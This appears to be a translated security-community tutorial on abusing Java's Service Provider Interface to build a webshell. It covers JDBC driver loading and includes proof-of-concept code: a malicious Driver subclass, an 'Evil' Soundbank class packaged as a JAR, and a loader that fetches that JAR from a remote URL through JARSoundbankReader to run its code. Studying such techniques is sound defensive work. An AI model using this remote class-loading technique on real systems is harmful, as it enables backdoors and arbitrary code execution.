Constructing a Webshell Based on the SPI Mechanism

Disclaimer: The user is responsible for any direct or indirect consequences and losses caused by the dissemination and use of the information provided by this public account. The public account and the author bear no responsibility for this. Please bear the consequences yourself! If there is any infringement, please inform us, and we will delete it immediately and apologize. Thank you!

Article Author: Prophet Community (True Love and Freedom)

Source: https://xz.aliyun.com/news/15027

Introduction

Recently, while browsing the blog of Master yzddmr6, I discovered that he also has a GitHub address.

https://github.com/yzddmr6/MyPresentations

In it, I found that Master explained some webshell attack and defense at the Bug Bounty Conference, which I studied. I then discovered a very interesting webshell. I must say that Master yzddmr6 is truly amazing, and I have gained a better understanding of the SPI mechanism.

Since those who are new to webshells may not understand the article, I will also explain some basic knowledge points.

Utilization of the SPI Mechanism

What is the SPI Mechanism?

The SPI mechanism stands for Service Provider Interface, which is a built-in service provider discovery mechanism in JDK.

To put it simply, it loads the classes that implement the specified interface from the configuration files in META-INF/services.

For example, in our JDBC, I will provide an example below, but I won’t go into detail here.

Core Methods and Classes of SPI

The Java SPI (Service Provider Interface) mechanism mainly involves the following core methods and classes:

① java.util.ServiceLoader: The ServiceLoader class is the core class of the Java SPI mechanism, used to load and manage service providers. It includes the following commonly used methods:load(Class<s> service): A static method used to load service providers that implement the specified interface.iterator(): Returns an iterator for traversing the loaded service provider instances.

② java.util.Iterator: The Iterator interface is used to traverse elements in a collection. The iterator returned by ServiceLoader implements this interface, with common methods including:hasNext(): Checks if there is a next element.next(): Returns the next element.

③ java.util.spi package: This package contains some classes related to SPI, such as:AbstractProvider: An abstract class for creating service providers.ResourceBundleControlProvider: Provides a custom ResourceBundle.Control object.

④ META-INF/services/ directory: In the classpath, the META-INF/services/ directory usually contains configuration files named after the fully qualified name of the interface, specifying the service provider classes that implement the interface.

SPI in JDBC

First, let’s consider why we need the SPI mechanism in JDBC.

This involves our JDBC operations for connecting to the database.

Connecting to the Database with JDBC

A crucial step is loading the database driver, which completes our connection operation. Typically, we use a statement like Class.forName("com.mysql.cj.jdbc.Driver") to load the driver.

The basic process is as follows:

1. Load the database driver: First, the JDBC driver provided by the database vendor needs to be loaded to communicate with the specific database. This can be done using a statement like Class.forName("com.mysql.cj.jdbc.Driver").

2. Establish a database connection to obtain a Connection object: Use the DriverManager.getConnection(url, username, password) method to establish a connection to the database. Here, url is the database address, port, and other connection information, while username and password are the credentials needed to log in to the database.

3. Create a Statement object: Create a Statement object using the Connection.createStatement() method, which is used to send SQL statements to the database and execute queries.

4. Execute SQL statements: Use the Statement.executeQuery(sql) method to execute SELECT queries, or use Statement.executeUpdate(sql) to execute INSERT, UPDATE, DELETE, and other update operation statements.

5. Process the result set: If a SELECT query is executed, a ResultSet object will be returned, containing the result set of the query. You can use the ResultSet.next() method to iterate through the result set and retrieve specific field values using ResultSet.getXXX() methods.

Here is an example:

package MYSQL;import javax.xml.transform.Result;import java.sql.Connection;import java.sql.DriverManager;import java.sql.ResultSet;import java.sql.Statement;import java.util.Properties;public class JDBC_Connection_example {    public static void main(String[] args) throws Exception{        Properties properties=new Properties();        properties.setProperty("user","root");        properties.setProperty("password","123456");        String URL = "jdbc:mysql://127.0.0.1:3306/security";        DriverManager.registerDriver(new com.mysql.jdbc.Driver());        Connection connection=DriverManager.getConnection(URL,properties);        Statement statement=connection.createStatement();        String sql="select * from users";        ResultSet result=statement.executeQuery(sql);        int columnCount = result.getMetaData().getColumnCount();        // Print query results        while (result.next()) {            for (int i = 1; i <= columnCount; i++) {                // Get column value by index and print                System.out.print(result.getString(i) + "\t");            }            System.out.println();        }        result.close();        statement.close();        connection.close();    }}

Why Does JDBC Need SPI?

Dynamic Driver Loading

Through the SPI mechanism, JDBC drivers can be dynamically loaded at runtime without hardcoding the driver class name in the code. This makes the code more flexible and extensible.

Before the SPI mechanism, developers had to explicitly register the driver:

Class.forName("com.mysql.cj.jdbc.Driver");

With the SPI mechanism, the driver can be automatically loaded by DriverManager:

Connection connection = DriverManager.getConnection("jdbc:mysql://localhost:3306/db", "user", "password");

Improved Plugability

The SPI mechanism allows JDBC drivers to be highly pluggable, enabling users to easily replace or add new database drivers without modifying existing code. This is crucial for applications that support multiple databases.

Simplified Configuration

Applications do not need to explicitly configure and manage JDBC drivers; they only need to ensure that the driver JAR files are in the classpath, and the SPI mechanism will automatically discover and load these drivers. This greatly simplifies the configuration and deployment process of applications.

Support for Multiple Implementations

Through the SPI mechanism, different database vendors can provide their own JDBC driver implementations, while applications can access different databases through a unified JDBC API. This means that application code does not need to depend on specific database implementations, making it more generic and flexible.

Analysis of SPI Mechanism Implementation

The JDBC connection will instantiateDriverManager.registerDriver(new com.mysql.jdbc.Driver());

Then we see the static code of this class:

static {        try {            DriverManager.registerDriver(new Driver());        } catch (SQLException var1) {            throw new RuntimeException("Can't register driver!");        }    }

This will call the DriverManager class’s registerDriver method, causing the JVM to load the DriverManager class, during which the static code block of DriverManager is executed.

We see its code calls loadInitialDrivers(); to load the initial drivers.

Internally calls doPrivileged, which will instantiate the core class of the SPI mechanism and then call load to implement the SPI mechanism.Obtaining the current class loader to load.Finally, it will reach hasNextService to load.

Malicious Utilization of SPI Mechanism

Simple Example

So, does this mean that we only need to have our malicious class in the configuration file and implement our Driver interface to exploit it maliciously?

Create a malicious class:

package MYSQL;import com.mysql.jdbc.Driver;import java.io.IOException;import java.sql.SQLException;public class calc extends Driver {    static {        Runtime runtime=Runtime.getRuntime();        try {            runtime.exec("calc");        } catch (IOException e) {            throw new RuntimeException(e);        }    }    public calc() throws SQLException {    }}

Write in the configuration file:

Run our JDBC connection:

And find that the calculator pops up.

Exploitation of JARSoundbankReader Class Webshell

Method Analysis

We follow its getSoundbank method:

public Soundbank getSoundbank(URL var1) throws InvalidMidiDataException, IOException {    if (!isZIP(var1)) {        return null;    } else {        ArrayList var2 = new ArrayList();        URLClassLoader var3 = URLClassLoader.newInstance(new URL[]{var1});        InputStream var4 = var3.getResourceAsStream("META-INF/services/javax.sound.midi.Soundbank");        if (var4 == null) {            return null;        } else {            try {                BufferedReader var5 = new BufferedReader(new InputStreamReader(var4));                for(String var6 = var5.readLine(); var6 != null; var6 = var5.readLine()) {                    if (!var6.startsWith("#")) {                        try {                            Class var7 = Class.forName(var6.trim(), false, var3);                            if (Soundbank.class.isAssignableFrom(var7)) {                                Object var8 = ReflectUtil.newInstance(var7);                                var2.add((Soundbank)var8);                            }                        } catch (ClassNotFoundException var14) {                        } catch (InstantiationException var15) {                        } catch (IllegalAccessException var16) {                        }                    }                }            } finally {                var4.close();            }            if (var2.size() == 0) {                return null;            } else if (var2.size() == 1) {                return (Soundbank)var2.get(0);            } else {                SimpleSoundbank var18 = new SimpleSoundbank();                Iterator var19 = var2.iterator();                while(var19.hasNext()) {                    Soundbank var20 = (Soundbank)var19.next();                    var18.addAllInstruments(var20);                }                return var18;            }        }    }}

First, it checks if it is a ZIP file, then creates a URLClassLoader to load resources from the ZIP file and attempts to obtain the input stream of the META-INF/services/javax.sound.midi.Soundbank file.

It reads the contents of the configuration file through the input stream, parsing each class name line by line. In fact, the malicious construction only requires one class.

Use Class.forName to dynamically load the class.
Check if the class implements the Soundbank interface.

Therefore, the malicious class we construct needs to implement the Soundbank interface.

Now let’s construct the malicious class:

Based on the principles of the above SPI malicious utilization, we can create a malicious JAR package in a similar way.

Creating the JAR Package

The directory structure is as follows:

Then, since we are loading classes from javax.sound.midi.Soundbank, we write in this file:

Write the package name of your malicious class:

nn0nkey.Evil

Constructing the malicious class:

The malicious class needs to implement the Soundbank interface, so it needs to override its methods.

Then inject malicious code into it.

The POC is as follows:

package nn0nkey;import javax.sound.midi.Instrument;import javax.sound.midi.Patch;import javax.sound.midi.Soundbank;import javax.sound.midi.SoundbankResource;import java.io.IOException;public class Evil implements Soundbank {    public Evil(){        try {            Runtime.getRuntime().exec("calc");        } catch (IOException e) {            e.printStackTrace();        }    }    @Override    public String getName() {        return null;    }    @Override    public String getVersion() {        return null;    }    @Override    public String getVendor() {        return null;    }    @Override    public String getDescription() {        return null;    }    @Override    public SoundbankResource[] getResources() {        return new SoundbankResource[0];    }    @Override    public Instrument[] getInstruments() {        return new Instrument[0];    }    @Override    public Instrument getInstrument(Patch patch) {        return null;    }}

Then run the command to construct the JAR package:

```bashjavac src/nn0nkey/Evil.javajar -cvf Evil.jar -C src/ .```

Local Testing

Then place our JAR package on the server and access it:

import com.sun.media.sound.JARSoundbankReader;import java.net.URL;public class text {    public static void main(String[] args) throws Exception {        JARSoundbankReader jarSoundbankReader=new JARSoundbankReader();        URL url=new URL("http://ip/Evil.jar");        jarSoundbankReader.getSoundbank(url);    }}

Running it pops up the calculator.